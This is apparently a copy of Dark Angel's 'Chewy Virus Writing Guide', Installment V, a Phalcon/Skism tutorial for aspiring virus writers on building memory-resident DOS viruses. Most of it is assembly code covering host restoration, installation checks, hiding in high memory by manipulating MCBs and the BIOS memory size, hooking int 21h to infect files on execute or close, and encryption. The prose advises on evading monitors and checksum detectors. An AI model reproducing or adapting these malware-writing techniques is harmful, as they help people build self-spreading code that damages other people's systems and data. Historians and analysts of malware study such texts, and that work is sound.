442 lines
20 KiB
Plaintext
442 lines
20 KiB
Plaintext
//==// // // /|| // //==== //==// //| //
|
|
// // // // //|| // // // // //|| //
|
|
//==// //==// //=|| // // // // // || //
|
|
// // // // || // // // // // ||//
|
|
// // // // || //==== //==== //==// // ||/
|
|
|
|
/==== // // // /==== /| /|
|
|
// // // // // //| //|
|
|
===\ // // // ===\ //|| //||
|
|
// // \\ // // // ||// ||
|
|
====/ // \\ // ====/ // ||/ ||
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
DISCLAIMER: Why do I bother writing one??
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
MO STUFF: Greets to all the Phalcon/Skism
|
|
crew,especially Garbageheap,Hellraiser,
|
|
Demogorgon,Lazarus Long,and Decimator.
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
Dark Angel's Chewy Virus Writing Guide
|
|
ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ
|
|
"Over 2 billion served"
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
INSTALLMENT V: RESIDENT VIRUSES, PART II
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
After reading the the Clumpy Guide, you should have at least some idea of
|
|
how to code a resident virus. However, the somewhat vague descriptions I
|
|
gave may have left you in a befuddled state. Hopefully, this installment
|
|
will clear the air.
|
|
|
|
ÄÄÄÄÄÄÄÄÄ
|
|
STRUCTURE
|
|
ÄÄÄÄÄÄÄÄÄ
|
|
In case you missed it the last time, here is a quick, general overview of
|
|
the structure of the resident virus. The virus consists of two major
|
|
portions, the loading stub and the interrupt handlers. The loading stub
|
|
performs two functions. First, it redirects interrupts to the virus code.
|
|
Second, it causes the virus to go resident. The interrupt handlers contain
|
|
the code which cause file infection. Generally, the handlers trap
|
|
interrupt 21h and intercept such calls as file execution.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
LOADING STUB
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
The loading stub consists of two major portions, the residency routine and
|
|
the restoration routine. The latter portion, which handles the return of
|
|
control to the original file, is identical as the one in the nonresident
|
|
virus. I will briefly touch upon it here.
|
|
|
|
By now you should understand thoroughly the theory behind COM file
|
|
infection. By simply replacing the first few bytes, transfer can be
|
|
controlled to the virus. The trick in restoring COM files is simply to
|
|
restore the overwritten bytes at the beginning of the file. This
|
|
restoration takes place only in memory and is therefore far from permanent.
|
|
Since COM files always load in a single memory segment and begin loading at
|
|
offset 100h in the memory segment (to make room for the PSP), the
|
|
restoration procedure is very simple. For example, if the first three
|
|
bytes of a COM file were stored in a buffer called "first3" before being
|
|
overwritten by the virus, then the following code would restore the code in
|
|
memory:
|
|
|
|
mov di,100h ; Absolute location of destination
|
|
lea si,[bp+first3] ; Load address of saved bytes.
|
|
; Assume bp = "delta offset"
|
|
movsw ; Assume CS = DS = ES and a cleared direction flag
|
|
movsb ; Move three bytes
|
|
|
|
The problem of returning control to the program still remains. This simply
|
|
consists of forcing the program to transfer control to offset 100h. The
|
|
easiest routine follows:
|
|
|
|
mov di,100h
|
|
jmp di
|
|
|
|
There are numerous variations of this routine, but they all accomplish the
|
|
basic task of setting the ip to 100h.
|
|
|
|
You should also understand the concept behind EXE infection by now. EXE
|
|
infection, at its most basic level, consists of changing certain bytes in
|
|
the EXE header. The trick is simply to undo all the changes which the
|
|
virus made. The code follows:
|
|
|
|
mov ax, es ; ES = segment of PSP
|
|
add ax, 10h ; Loading starts after PSP
|
|
add word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
|
|
; relative to end of PSP
|
|
cli
|
|
add ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
|
|
mov ss, ax
|
|
mov sp, word ptr cs:[bp+OrigSSSP]
|
|
sti
|
|
db 0eah ; JMP FAR PTR SEG:OFF
|
|
OrigCSIP dd ? ; Put values from the header
|
|
OrigSSSP dd ? ; into here
|
|
|
|
If the virus is an EXE-specific infector but you still wish to use a COM
|
|
file as the carrier file, then simply set the OrigCSIP value to FFF0:0000.
|
|
This will be changed by the restoration routine to PSP:0000 which is,
|
|
conveniently, an int 20h instruction.
|
|
|
|
All that stuff should not be new. Now we shall tread on new territory.
|
|
There are two methods of residency. The first is the weenie method which
|
|
simply consists of using DOS interrupts to do the job for you. This method
|
|
sucks because it is 1) easily trappable by even the most primitive of
|
|
resident virus monitors and 2) forces the program to terminate execution,
|
|
thereby alerting the user to the presence of the virus. I will not even
|
|
present code for the weenie method because, as the name suggests, it is
|
|
only for weenies. Real programmers write their own residency routines.
|
|
This basically consists of MCB-manipulation. The general method is:
|
|
|
|
1. Check for prior installation. If already installed, exit the virus.
|
|
2. Find the top of memory.
|
|
3. Allocate the high memory.
|
|
4. Copy the virus to high memory.
|
|
5. Swap the interrupt vectors.
|
|
|
|
There are several variations on this technique and they will be discussed
|
|
as the need arises.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
INSTALLATION CHECK
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
There are several different types of installation check. The most common
|
|
is a call to int 21h with AX set to a certain value. If certain registers
|
|
are returned set to certain values, then the virus is resident. For
|
|
example, a sample residency check would be:
|
|
|
|
mov ax,9999h ; residency check
|
|
int 21h
|
|
cmp bx,9999h ; returns bx=9999h if installed
|
|
jz already_installed
|
|
|
|
When choosing a value for ax in the installation check, make sure it does
|
|
not conflict with an existing function unless the function is harmless.
|
|
For example, do not use display string (ah=9) unless you wish to have
|
|
unpredictable results when the virus is first being installed. An example
|
|
of a harmless function is get DOS version (ah=30h) or flush keyboard buffer
|
|
(ah=0bh). Of course, if the check conflicts with a current function, make
|
|
sure it is narrow enough so no programs will have a problem with it. For
|
|
example, do not merely trap ah=30h, but trap ax=3030h or even ax=3030h and
|
|
bx=3030h.
|
|
|
|
Another method of checking for residency is to search for certain
|
|
characteristics of the virus. For example, if the virus always sets an
|
|
unused interrupt vector to point to its code, a possible residency check
|
|
would be to search the vector for the virus characteristics. For example:
|
|
|
|
xor ax,ax
|
|
mov ds,ax ; ds->interrupt table
|
|
les bx,ds:[60h*4] ; get address of interrupt 60h
|
|
; assume the virus traps this and puts its int 21h handler
|
|
; here
|
|
cmp es:bx,0FF2Eh ; search for the virus string
|
|
.
|
|
.
|
|
.
|
|
int60:
|
|
jmp far ptr cs:origint21
|
|
|
|
When using this method, take care to ensure that there is no possibility of
|
|
this characteristic being false when the virus is resident. In this case,
|
|
another program must not trap the int 60h vector or else the check may fail
|
|
even if the virus is already resident, thereby causing unpredictable
|
|
results.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
FIND THE TOP OF MEMORY
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
DOS generally loads all available memory to a program upon loading. Armed
|
|
with this knowledge, the virus can easily determine the available memory
|
|
size. Once again, the MCB structure is:
|
|
|
|
Offset Size Meaning
|
|
------ ------- -------
|
|
0 BYTE 'M' or 'Z'
|
|
1 WORD Process ID (PSP of block's owner)
|
|
3 WORD Size in paragraphs
|
|
5 3 BYTES Reserved (Unused)
|
|
8 8 BYTES DOS 4+ uses this. Yay.
|
|
|
|
mov ax,ds ; Assume DS initially equals the segment of the PSP
|
|
dec ax
|
|
mov ds,ax ; DS = MCB of infected program
|
|
mov bx,ds:[3] ; Get MCB size (total available paragraphs to program)
|
|
|
|
A simpler method of performing the same action is to use DOS's reallocate
|
|
memory function in the following manner:
|
|
|
|
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
|
|
mov bx,0FFFFh ; Request a ridiculous amount of memory
|
|
int 21h ; Returns maximum available memory in BX
|
|
; This is the same value as in ds:[3]
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
ALLOCATE THE HIGH MEMORY
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
The easiest method to allocate memory is to let DOS do the work for you.
|
|
|
|
mov ah,4ah ; Alter memory allocation (assume ES = PSP)
|
|
sub bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
|
|
; memory available to the program (returned by earlier
|
|
; call to int 21h/function 4ah
|
|
int 21h
|
|
|
|
mov ah,48h ; Allocate memory
|
|
mov bx,(endvirus-startvirus+15)/16
|
|
int 21h
|
|
mov es,ax ; es now holds the high memory segment
|
|
|
|
dec bx
|
|
mov byte ptr ds:[0], 'Z' ; probably not needed
|
|
mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB
|
|
|
|
The purpose of marking DOS as the owner of the MCB is to prevent the
|
|
deallocation of the memory area upon termination of the carrier program.
|
|
|
|
Of course, some may prefer direct manipulation of the MCBs. This is easily
|
|
accomplished. If ds is equal to the segment of the carrier program's MCB,
|
|
then the following code will do the trick:
|
|
|
|
; Step 1) Shrink the carrier program's memory allocation
|
|
; One paragraph is added for the MCB of the memory area which the virus
|
|
; will inhabit
|
|
sub ds:[3],(endvirus-startvirus+15)/16 + 1
|
|
|
|
; Step 2) Mark the carrier program's MCB as the last in the chain
|
|
; This isn't really necessary, but it assures that the virus will not
|
|
; corrupt the memory chains
|
|
mov byte ptr ds:[0],'Z'
|
|
|
|
; Step 3) Alter the program's top of memory field in the PSP
|
|
; This preserves compatibility with COMMAND.COM and any other program
|
|
; which uses the field to determine the top of memory
|
|
sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1
|
|
|
|
; Step 4) Calculate the first usable segment
|
|
mov bx,ds:[3] ; Get MCB size
|
|
stc ; Add one for the MCB segment
|
|
adc bx,ax ; Assume AX still equals the MCB of the carrier file
|
|
; BX now holds first usable segment. Build the MCB
|
|
; there
|
|
; Alternatively, you can use the value in ds:[12h] as the first usable
|
|
; segment:
|
|
; mov bx,ds:[12h]
|
|
|
|
; Step 5) Build the MCB
|
|
mov ds,bx ; ds holds the area to build the MCB
|
|
inc bx ; es now holds the segment of the memory area controlled
|
|
mov es,bx ; by the MCB
|
|
mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
|
|
; Note: you can have more than one MCB chain
|
|
mov word ptr ds:[1],8 ; Mark DOS as the owner
|
|
mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field
|
|
|
|
There is yet another method involving direct manipulation.
|
|
|
|
; Step 1) Shrink the carrier program's memory allocation
|
|
; Note that rounding is to the nearest 1024 bytes and there is no
|
|
; addition for an MCB
|
|
sub ds:[3],((endvirus-startvirus+1023)/1024)*64
|
|
|
|
; Step 2) Mark the carrier program's MCB as the last in the chain
|
|
mov byte ptr ds:[1],'Z'
|
|
|
|
; Step 3) Alter the program's top of memory field in the PSP
|
|
sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64
|
|
|
|
; Step 4) Calculate the first usable segment
|
|
mov es,word ptr ds:[12h]
|
|
|
|
; Step 5) Shrink the total memory as held in BIOS
|
|
; Memory location 0:413h holds the total system memory in K
|
|
xor ax,ax
|
|
mov ds,ax
|
|
sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size
|
|
|
|
This method is great because it is simple and short. No MCB needs to be
|
|
created because DOS will no longer allocate memory held by the virus. The
|
|
modification of the field in the BIOS memory area guarantees this.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
COPY THE VIRUS TO HIGH MEMORY
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
This is ridiculously easy to do. If ES holds the high memory segment, DS
|
|
holds CS, and BP holds the delta offset, then the following code will do:
|
|
|
|
lea si,[bp+offset startvirus]
|
|
xor di,di ; destination @ 0
|
|
mov cx,(endvirus-startvirus)/2
|
|
rep movsw ; Copy away, use words for speed
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
SWAP INTERRUPT VECTORS
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
There are, once again, two ways to do this; via DOS or directly. Almost
|
|
every programmer worth his salt has played with interrupt vectors at one
|
|
time or another. Via DOS:
|
|
|
|
push es ; es->high memory
|
|
pop ds ; ds->high memory
|
|
mov ax,3521h ; get old int 21h handler
|
|
int 21h ; to es:bx
|
|
mov word ptr ds:oldint21,bx ; save it
|
|
mov word ptr ds:oldint21+2,es
|
|
mov dx,offset int21 ; ds:dx->new int 21h handler in virus
|
|
mov ax,2521h ; set handler
|
|
int 21h
|
|
|
|
And direct manipulation:
|
|
xor ax,ax
|
|
mov ds,ax
|
|
lds bx,ds:[21h*4]
|
|
mov word ptr es:oldint21,bx
|
|
mov word ptr es:oldint21+2,ds
|
|
mov ds,ax
|
|
mov ds:[21h*4],offset int21
|
|
mov ds:[21h*4+2],es
|
|
|
|
Delta offset calculations are not needed since the location of the
|
|
variables is known. This is because the virus is always loaded into high
|
|
memory starting in offset 0.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
INTERRUPT HANDLER
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
The interrupt handler intercepts function calls to DOS and waylays them.
|
|
The interrupt handler typically begins with a check for a call to the
|
|
installation check. For example:
|
|
|
|
int21:
|
|
cmp ax,9999h ; installation check?
|
|
jnz not_installation_check
|
|
xchg ax,bx ; return bx = 9999h if installed
|
|
iret ; exit interrupt handler
|
|
not_installation_check:
|
|
; rest of interrupt handler goes here
|
|
|
|
With this out of the way, the virus can trap whichever DOS functions it
|
|
wishes. Generally the most effective function to trap is execute
|
|
(ax=4b00h), as the most commonly executed files will be infected. Another
|
|
function to trap, albeit requiring more work, is handle close. This will
|
|
infect on copies, viewings, patchings, etc. With some functions,
|
|
prechaining is desired; others, postchaining. Use common sense. If the
|
|
function destroys the filename pointer, then use prechaining. If the
|
|
function needs to be completed before infection can take place,
|
|
postchaining should be used. Prechaining is simple:
|
|
|
|
pushf ; simulate an int 21h call
|
|
call dword ptr cs:oldint21
|
|
|
|
; The following code ensures that the flags will be properly set upon
|
|
; return to the caller
|
|
pushf
|
|
push bp
|
|
push ax
|
|
|
|
; flags [bp+10]
|
|
; calling CS:IP [bp+6]
|
|
; flags new [bp+4]
|
|
; bp [bp+2]
|
|
; ax [bp]
|
|
|
|
mov bp, sp ; setup stack frame
|
|
mov ax, [bp+4] ; get new flags
|
|
mov [bp+10], ax; replace the old with the new
|
|
|
|
pop ax ; restore stack
|
|
pop bp
|
|
popf
|
|
|
|
To exit the interrupt handler after prechaining, use an iret statement
|
|
rather than a retn or retf. Postchaining is even simpler:
|
|
|
|
jmp dword ptr cs:oldint21 ; this never returns to the virus int handler
|
|
|
|
When leaving the interrupt handler, make sure that the stack is not
|
|
unbalanced and that the registers were not altered. Save the registers
|
|
right after prechaining and long before postchaining.
|
|
|
|
Infection in a resident virus is essentially the same as that in a
|
|
nonresident virus. The only difference occurs when the interrupt handler
|
|
traps one of the functions used in the infection routine. For example, if
|
|
handle close is trapped, then the infection routine must replace the handle
|
|
close int 21h call with a call to the original interrupt 21h handler, a la:
|
|
|
|
pushf
|
|
call dword ptr cs:oldint21
|
|
|
|
It is also necessary to handle encryption in another manner with a resident
|
|
virus. In the nonresident virus, it was not necessary to preserve the code
|
|
at all times. However, it is desirable to keep the interrupt handler(s)
|
|
decrypted, even when infecting. Therefore, the virus should keep two
|
|
copies of itself in memory, one as code and one as data. The encryptor
|
|
should encrypt the secondary copy of the virus, thereby leaving the
|
|
interrupt handler(s) alone. This is especially important if the virus
|
|
traps other interrupts such as int 9h or int 13h.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
A THEORY ON RESIDENT VIRUSES
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
Resident viruses can typically be divided into two categories; slow and
|
|
fast infectors. They each have their own advantages and disadvantages.
|
|
|
|
Slow infectors do not infect except in the case of a file creation. This
|
|
infector traps file creates and infects upon the closing of the file. This
|
|
type of virus infects on new file creations and copying of files. The
|
|
disadvantage is that the virus spreads slowly. This disadvantage is also
|
|
an advantage, as this may keep it undetected for a long time. Although
|
|
slow infectors sound ineffective, in reality they can work well. Infection
|
|
on file creations means that checksum/CRC virus detectors won't be able to
|
|
checksum/CRC the file until after it has been infected. Additionally,
|
|
files are often copied from one directory to another after testing. So
|
|
this method can work.
|
|
|
|
Fast infectors infect on executes. This type of virus will immediately
|
|
attack commonly used files, ensuring the continual residency of the virus
|
|
in subsequent boots. This is the primary advantage, but it is also the
|
|
primary disadvantage. The infector works so rapidly that the user may
|
|
quickly detect a discrepancy with the system, especially if the virus does
|
|
not utilise any stealth techniques.
|
|
|
|
Of course, there is no "better" way. It is a matter of personal
|
|
preference. The vast majority of viruses today are fast infectors,
|
|
although slow infectors are beginning to appear with greater frequency.
|
|
|
|
If the virus is to infect on a create or open, it first must copy the
|
|
filename to a buffer, execute the call, and save the handle. The virus
|
|
must then wait for a handle close corresponding to that handle and infect
|
|
using the filename stored in the buffer. This is the simplest method of
|
|
infecting after a handle close without delving into DOS internals.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
IF YOU DON'T UNDERSTAND IT YET
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
don't despair; it will come after some time and much practise. You will
|
|
soon find that resident viruses are easier to code than nonresident
|
|
viruses. That's all for this installment, but be sure to grab the next
|
|
one.
|